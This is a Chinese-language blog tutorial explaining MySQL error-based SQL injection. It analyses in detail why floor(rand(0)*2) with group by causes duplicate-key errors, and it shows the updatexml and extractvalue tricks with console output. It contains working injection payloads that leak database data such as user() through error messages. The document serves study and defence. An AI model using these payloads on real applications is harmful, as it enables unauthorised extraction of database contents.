mysql报错注入函数有哪些_mysql报错注入总结

原创

葛店小学张洪雨 于 2021-02-28 03:42:31 发布 211 收藏 1
文章标签： mysql报错注入函数有哪些

最近又深刻的研究了一下mysql的报错注入,发现很多值得记录的东西,于是写了这篇博客做一个总结,目的是为了更深刻的理解报错注入

报错注入原因及分类

既然是研究报错注入,那我们先要弄明白为什么我们的注入语句会导致数据库报错,报错的原因我自己总结了一下,有以下几点

重复数据报错,这里的重复主要有两个方面,其中之一是基于主键的唯一性:一个表主键必须是唯一的,如果一个表尝试生成两个相同的主键，就会爆出Duplicate entry ‘1’ for key ‘group_key’的主键重复错误,于是根据这种报错就产生了floor(rand(0)*2)等注入手法,另外一个就是基于列名的唯一性,如果我们在一个表中构造了两个相同的列名,就会产生Duplicate column name的错误,报错方法通常有NAME_CONST,或者利用join和using关键字连接同一个表创建子查询进行报错,这个方法从lctf2017 pcat大佬的writeup中学到的,在我的另一篇文章中会提到

基于数据类型不一致而产生的报错:mysql的一些函数参数要求的是什么数据类型,如果数据类型不符合,自然就会报错,这种报错也是相对容易理解的,根据这种特性产生的报错注入有updatexml,extractvalue等注入手法

基于BIGINT溢出错误的SQL注入,根据超出最大整数溢出产生的错误,这类报错注入是在mysql5.5.5版本后才产生的,5.5.5版本前并不会因为整数溢出而报错,这种注入自己在phpstudy上试了试,mysql版本为5.5.53,虽然报错了但是并没有爆出信息,以后研究出来再补充

其他报错,企业级代码审计这本书上看到的,一些mysql空间函数geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring(),通过这些报错会产生Illegal non geometric的错误,里面同时包含了我们构造查询语句的信息

原理分析

接下来对上面列出的一些报错注入一个个进行分析

基于主键值重复

floor(rand(0)*2):我们在进行报错注入时用的相对较多的方法,网上给出的报错语句大部分是这样的

id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

看到这是不是有点云里雾里的感觉呢,没关系,我也因为这个语句纠结了一段时间,比如为什么要floor(rand(0)*2),为什么要用到information_schema.tables这个表,接下来我们就把它彻底弄明白,先看rand()这个函数,这个函数都知道是产生随机数的,但是当rand(0)被计算多次时它所产生的值是有规律的,我们以information_schema.tables这个表进行示范,因为它里面的数据多,别的表也可以,只要数据量够多,这样可以使rand(0)计算多次,便于观察,为了更便于观察,我们取前30条记录,查询语句

mysql> select rand(0) from information_schema.tables limit 0,30;

+--------------------+

| rand(0) |

+--------------------+

| 0.15522042769493574 |

| 0.620881741513388 |

| 0.6387474552157777 |

| 0.33109208227236947 |

| 0.7392180764481594 |

| 0.7028141661573334 |

| 0.2964166321758336 |

| 0.3736406931408129 |

| 0.9789535999102086 |

| 0.7738459508622493 |

| 0.9323689853142658 |

| 0.3403071047182261 |

| 0.9044285983819781 |

| 0.501221708488857 |

| 0.7928227780319962 |

| 0.4604487954270549 |

| 0.9237756737729308 |

| 0.23753201331713425 |

| 0.4163330760005238 |

| 0.3690693707848614 |

| 0.5963476566563805 |

| 0.874530201660963 |

| 0.5836080690693185 |

| 0.29444977109734877 |

| 0.7214246790124333 |

| 0.7237741125037652 |

| 0.4545965562151713 |

| 0.10166047429820567 |

| 0.14451273357915947 |

| 0.4175822757348253 |

+--------------------+

30 rows in set (0.05 sec)

通过多次测试观察可以发现规律,每次执行sql语句多次计算rand(0)时,rand(0)产生的值是总是固定的,不管执行多少次语句,多次计算的rand(0)的前30条总是和上面得计算结果一样,那么可以做出结论之后的结果也总是一样,观察上述计算结果,看似杂乱的数值其实都有着一个范围界限,那就是0~0.5,0.5~1,我们将rand(0)*2再观察一下

mysql> select rand(0)*2 from information_schema.columns limit 0,30;

+--------------------+

| rand(0)*2 |

+--------------------+

| 0.3104408553898715 |

| 1.241763483026776 |

| 1.2774949104315554 |

| 0.6621841645447389 |

| 1.4784361528963188 |

| 1.4056283323146668 |

| 0.5928332643516672 |

| 0.7472813862816258 |

| 1.9579071998204172 |

| 1.5476919017244986 |

| 1.8647379706285316 |

| 0.6806142094364522 |

| 1.8088571967639562 |

| 1.002443416977714 |

| 1.5856455560639924 |

| 0.9208975908541098 |

| 1.8475513475458616 |

| 0.4750640266342685 |

| 0.8326661520010477 |

| 0.7381387415697228 |

| 1.192695313312761 |

| 1.749060403321926 |

| 1.167216138138637 |

| 0.5888995421946975 |

| 1.4428493580248667 |

| 1.4475482250075304 |

| 0.9091931124303426 |

| 0.20332094859641134 |

| 0.28902546715831895 |

| 0.8351645514696506 |

+--------------------+

30 rows in set (0.69 sec)

此时界限分隔值变成了1,数值都是零点几的小数和一点几的小数,于是用floor处理一下

mysql> select floor(rand(0)*2) from information_schema.columns limit 0,30;

+------------------+

| floor(rand(0)*2) |

+------------------+

| 0 |

| 1 |

| 1 |

| 0 |

| 1 |

| 1 |

| 0 |

| 0 |

| 1 |

| 1 |

| 1 |

| 0 |

| 1 |

| 1 |

| 1 |

| 0 |

| 1 |

| 0 |

| 0 |

| 0 |

| 1 |

| 1 |

| 1 |

| 0 |

| 1 |

| 1 |

| 0 |

| 0 |

| 0 |

| 0 |

+------------------+

于是就有了floor(rand(0)2),同样的,每次执行多次floor(rand(0)2),所得的结果也总是这样固定,我们只看前6个数字,总是0,1,1,0,1,1这样的顺序,后面的数也是如此有着自己的顺序

接下来我们构造一个sql语句,它可以报出Duplicate的错误

mysql> select count(*) from information_schema.tables group by floor(rand(0)*2);

ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

分析这条语句,当进行count(),group by聚合函数分组计算时,mysql会创建一个虚拟表,虚拟表由主键列和count()列两列组成,同时floor(rand(0)2)这个值会被计算多次,这一点很重要,计算多次是指在取数据表数据使用group by时,进行一次floor(rand(0)2),如果虚拟表中不存在此数据时,那么在往虚拟表插入数据时,floor(rand(0)2)将会再被计算一次,接下来分析,取数据表第一条记录时第一次使用group by,计算floor(rand(0)2)的值为0,查询虚拟表发现0这个主键不存在,于是再次计算floor(rand(0)2)结果为1,将1作为主键插入虚拟表,这时主键1的count()值为1,接下来取数据表第二条记录时第二次使用group by,计算floor(rand(0)2),结果为1,然后查询虚拟表,发现1的键值存在,于是count()的值加1,取数据表第三条记录时第三次使用group by,计算floor(rand(0)2)值为0,查询虚拟表,发现0的键值不存在,于是再一次计算floor(rand(0)2),结果为1,当尝试将1插入虚拟表中时,发现主键1已经存在,所以报出主键重复的错误,整个过程中查询了information_schema.tables这个表3条记录发生报错,这也是报错为什么需要数据表的记录多到至少为3条的原因,也是为什么选择information_schema.tables表的原因,因为这个表中的记录一定大于三条,由此可知我们其实还以选择information_schema.columns,information_schema.schemata等表

下面构造语句

mysql> select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x3a,user());

ERROR 1062 (23000): Duplicate entry '1:root@localhost' for key 'group_key'

是不是看着很眼熟,没错，这就是我们在开头给出的那个复杂的语句,只不过开头的那个加了个子查询,其实and后的括号里直接写这个语句也能达到一样的效果

mysql> select * from user where id=1 and (select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x3a,user()));

ERROR 1062 (23000): Duplicate entry '1:root@localhost' for key 'group_key'

把user()换成其他查询语句,就可以注入出别的数据

基于数据类型的不一致

updatexml(1,XPATH,1)函数的第二个参数要求为XPATH格式,如果我们把它改为字符串格式,那么就会爆出XPATH syntax error的错误,于是构造sql语句

mysql> select * from user where id=1 and updatexml(1,(concat(1,user())),1);

ERROR 1105 (HY000): XPATH syntax error: 'root@localhost'

利用concat函数返回字符串产生报错,同样的函数还有extractvalue(1,XPATH)

mysql> select * from user where id=1 and extractvalue(1,(concat(1,user())));

ERROR 1105 (HY000): XPATH syntax error: 'root@localhost'